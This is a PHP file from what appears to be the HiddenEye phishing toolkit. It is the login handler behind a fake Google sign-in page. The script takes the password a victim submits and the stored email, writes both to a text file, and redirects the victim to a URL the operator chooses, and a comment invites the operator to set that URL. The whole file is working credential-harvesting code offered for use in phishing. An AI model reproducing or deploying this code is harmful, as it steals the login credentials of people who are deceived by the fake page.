HiddenEye-Legacy/WebPages/google_standard/login.php
Usama Abdul Sattar 546b2cf195
updated old google standard page to new one (#119)
* Add files via upload

* Delete index.html

* Add files via upload

* Update HiddenEye.py
2018-10-28 20:21:52 +05:00

23 lines
689 B
PHP

<?php
include 'ip.php';
session_start();
$pass = $_POST["password"];
$email=$_SESSION["Email"];
//opening logins text file for appending new data.
$file = fopen("usernames.txt", "a") or die("Unable to open file!");
//Writing email and password to logins.txt.
fwrite($file, "[EMAIL: ]" . " ". $email . " " . " " . "[PASS: ]" . " " . $pass .FILE_APPEND);
fclose($file);//closing logins.txt.
//redirecting user to the google drive's locations where the game is available to download.
//change the location url to redirect to a website of your choice.
header('Location: <CUSTOM>');
exit();
session_destroy();
?>